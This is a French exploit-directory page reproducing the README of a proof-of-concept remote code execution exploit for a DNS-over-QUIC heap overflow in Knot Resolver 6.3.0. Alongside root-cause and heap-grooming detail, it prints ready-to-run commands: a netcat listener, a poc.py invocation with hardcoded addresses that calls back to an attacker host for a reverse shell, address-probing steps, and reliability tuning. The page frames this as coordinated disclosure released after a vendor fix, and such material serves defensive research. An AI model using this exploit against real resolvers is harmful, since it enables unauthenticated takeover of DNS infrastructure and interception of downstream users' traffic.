Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
knot-doq — CVE-2026-66374 : débordement de tas DNS-over-QUIC dans Knot Resolver 6.3.0 (RCE) | Kitploit
Outils/GitHubGitHub/venglin/knot-doq
Analyse des VulnérabilitésExploitationSécurité RéseauOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
GitHubvenglin/knot-doq

knot-doq

CVE-2026-66374 : débordement de tas DNS-over-QUIC dans Knot Resolver 6.3.0 (RCE)

Voir le dépôt
1il y a 27 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Knot Resolver 6.3.0 — Dépassement de tas DNS-over-QUIC → exécution de code (PoC)

Preuve de concept d'un dépassement de tampon de tas déclenchable à distance dans le chemin de réception DNS-over-QUIC (DoQ) de Knot Resolver, permettant une exécution de code à distance sous l'utilisateur du service knot-resolver.

  • Composant : écouteur DoQ de kresd (daemon/quic_conn.c)
  • Version affectée : Knot Resolver 6.3.0 (validé sur 6.3.0-cznic.1~bookworm)
  • Corrigé dans : Knot Resolver 6.4.1 (publié le 2026-07-22)
  • Classe : écriture hors limites dans le tas (CWE-787)
  • Vecteur : réseau, sans authentification — une seule connexion QUIC
  • Impact : exécution de code en tant que knot-resolver ; au minimum, crash à distance / déni de service

Publié en parallèle du correctif et de l'avis de sécurité du fournisseur dans le cadre d'une divulgation coordonnée. Réservé à la recherche en sécurité autorisée et à la validation défensive.

Démonstration

Exploitation complète à distance — l'exploit est déclenché depuis la machine de l'attaquant via DNS-over-QUIC, et un shell inverse knot-resolver est récupéré sur nc (cliquez pour la vidéo en pleine résolution) :

Exécution de code à distance DNS-over-QUIC contre Knot Resolver 6.3.0

Qu'est-ce que Knot Resolver

Knot Resolver est un résolveur DNS récursif de cache open source développé par CZ.NIC (le registre .cz). Il résout les requêtes DNS pour le compte de clients — appareils des utilisateurs finaux, flottes de résolveurs FAI et services de résolveurs publics — et met en cache les réponses. Il prend en charge les transports chiffrés modernes, notamment DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) et DNS-over-QUIC (DoQ), et intègre la validation DNSSEC et la mise en cache agressive.

Il est populaire dans les grands environnements de FAI, où son riche ensemble de fonctionnalités (politique scriptable, DNSSEC, transports chiffrés, mise en cache fine) et ses hautes performances le rendent particulièrement adapté au service de très grandes bases d'abonnés.

Le démon (kresd) est un service réseau à longue durée de vie, directement exposé à des entrées non fiables provenant de tout hôte capable d'atteindre son port d'écoute. Cela fait d'un bug de corruption mémoire dans son chemin de réception de paquets — comme celui exploité ici — une surface d'attaque accessible à distance et sans authentification : compromettre le résolveur permet à un attaquant de forger des réponses DNS pour chaque client en aval, c'est-à-dire de rediriger ou d'intercepter pratiquement tout leur trafic.

Cause racine

kr_recv_stream_data_cb() réassemble les trames STREAM DoQ dans un tampon d'entrée par connexion (pers_inbuf). Il agrandit ce tampon avec

root@kitploit:~
pers_inbuf.size += datalen;      /* bug: accumulates, never re-baselines */

au lieu de définir la taille à la nouvelle valeur totale. Sur plusieurs trames, la size suivie dérive au-dessus de l'allocation réelle. Une dernière trame dont le datalen tient sous la size gonflée saute donc la réallocation, mais le memcpy() suivant est borné par cette taille gonflée — il écrit donc au-delà de la fin de l'objet. jemalloc maintient l'objet épinglé à sa classe de taille réelle, si bien que les octets excédentaires atterrissent dans l'emplacement de dalle adjacent.

Résumé de l'exploitation

Une séquence de six trames sur un même flux fait traverser à pers_inbuf cinq classes de taille jemalloc jusqu'à la classe de 6144 octets, puis déborde dans l'emplacement voisin :

root@kitploit:~
F1  datalen=8                    allocation initiale de 1200 octets
F2  datalen=1440   realloc  ->   classe 1536
F3  datalen=1440   realloc  ->   classe 3072
F4  datalen=1440   realloc  ->   classe 5120
F5  datalen=1440   realloc  ->   classe 6144
F6  datalen=1200, FIN            pas de realloc -> écriture OOB de 814 octets dans slot+1

Un grooming léger des connexions (ouvrir plusieurs connexions DoQ, en libérer la moitié juste avant le déclenchement) fait en sorte que slot+1 contienne un gestionnaire de nettoyage libgnutls. Le dépassement écrase le pointeur de dispatch de ce gestionnaire, son argument et l'indicateur qui contrôle le dispatch. Lors du démontage de la connexion, libgnutls exécute

root@kitploit:~
call *0x110(%rbx)     ; %rbx = slot+1 contrôlé par l'attaquant

donnant le contrôle du pointeur d'instruction (RIP) et du premier argument (RDI). Le PoC achemine cela vers system() avec un pointeur vers une chaîne de commande fournie par l'attaquant, écrite dans le même emplacement.

Périmètre : ASLR

Ce PoC cible un hôte avec ASLR désactivé (kernel.randomize_va_space = 0). Sans randomisation, les adresses du tas et de libc sont déterministes, donc les deux adresses dont l'exploit a besoin (slot+1 et system()) sont des constantes pour une compilation donnée. Contrer l'ASLR est un problème distinct et est volontairement hors périmètre ici — l'objectif est de démontrer la primitive corruption mémoire → détournement du flux de contrôle → exécution de code de manière isolée.

Comme ces adresses sont déterministes, aucune fuite d'information n'est nécessaire : l'exploit s'exécute entièrement sur le réseau depuis un hôte distant. Les adresses sont récupérées une seule fois avec l'étape probe (ci-dessous) sur toute compilation identique, puis codées en dur ; sur la compilation de référence, elles sont slot+1 = 0x7ffff66c5000 et system = 0x7ffff746a490.

Contenu

Fichier

Nécessite Python 3 avec aioquic et netcat côté attaquant, et gdb sur la cible uniquement pour l'étape unique probe.

Utilisation — shell inverse à distance (sans fuite d'information)

C'est la démonstration principale : l'exploit est déclenché depuis la machine de l'attaquant, via le réseau, avec les deux adresses déterministes codées en dur. Rien n'est lu depuis la cible — pas de /proc, pas de gdb, pas de journaux.

root@kitploit:~
# Sur la machine de l'attaquant : écouter le shell
$ nc -lvnp 4444                    # Linux ; sur macOS/BSD :  nc -l 4444

# Dans un autre terminal : déclencher l'exploit sur le port DoQ de la cible
$ python3 poc.py exec \
      --host <target> --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost <attacker-ip> --lport 4444 \
      --rounds 250

Chaque tentative qui aboutit appelle system() sur la cible avec une commande de shell inverse ; le shell se connecte en retour à --lhost:--lport, où nc le reçoit. Lorsqu'il arrive, tapez dans la session netcat pour piloter le shell :

root@kitploit:~
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64

Les valeurs --slot1 / --system sont récupérées une seule fois avec l'étape probe sur toute compilation identique ; ce sont des constantes tant que l'ASLR est désactivé.

Récupération des adresses (sonde unique)

Les valeurs --slot1 / --system ci-dessus sont des constantes tant que l'ASLR est désactivé ; récupérez-les une fois sur toute compilation identique. Précondition :

root@kitploit:~
$ sudo sysctl -w kernel.randomize_va_space=0
root@kitploit:~
# slot+1 : l'oracle gdb lit le pers_inbuf déterministe, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : base libc (ASLR désactivé) + décalage de system()
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))

poc.py rip --rounds 8 démontre en outre le contrôle brut de RIP/RDI (la cible plante au pointeur d'instruction choisi par l'attaquant).

Fiabilité

Mesurée sur la compilation de référence (Debian 12, 6.3.0-cznic.1, ASLR désactivé) :

PrimitiveTaux
Contrôle RIP/RDI (rip, crash)~7/8 par tentative
Exécution complète de system() (exec)~1 sur 30 à 50 tentatives

L'écart est inhérent : system() s'exécute sur un tas que le dépassement vient de corrompre, donc la plupart des dispatchs plantent kresd avant que le processus enfant ne soit lancé. Le démon est relancé par son superviseur après chaque crash, l'adresse est déterministe avec l'ASLR désactivé, et chaque tentative est indépendante — la boucle exec réessaie donc simplement jusqu'à ce que l'une aboutisse (dans l'exécution distante ci-dessus, un shell est arrivé à la tentative 5). Une tentative échouée est un crash transitoire d'un worker (déni de service). Les paramètres de grooming --groom 16 --close 8 --qpc 4 sont les valeurs par défaut empiriquement optimales ; une fermeture plus agressive (par ex. --close 16 avec --groom 32) effondre le taux de réussite.

Environnement de référence

root@kitploit:~
OS        Debian 12 (bookworm), glibc 2.36
kresd     knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config    écouteur DoQ sur 127.0.0.1@8853

La géométrie des classes de taille (six trames, charges utiles de 1200/1440 octets) et le décalage de dispatch libgnutls sont spécifiques à cette compilation ; d'autres compilations nécessitent de redériver les tailles de trames et les décalages.

Chronologie de divulgation

DateÉvénement
2026-06-08Vulnérabilité signalée au fournisseur (CZ.NIC).
2026-07-22Correctif publié dans Knot Resolver 6.4.1, avec avis du fournisseur.
2026-07-23Publication de ce PoC et de ce rapport.

Divulgation et licence

Signalé au fournisseur le 2026-06-08 et publié en coordination avec le correctif officiel (6.4.1, 2026-07-22). Fourni pour les tests autorisés, la validation défensive et la recherche. Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou que vous n'êtes pas explicitement autorisé à tester.

SPDX-License-Identifier: MIT

Télécharger l’outil
Objectif
poc.pyL'exploit. Modes : probe, rip, exec.
probe.gdbOracle gdb qui lit le pers_inbuf déterministe.
README.mdCe document.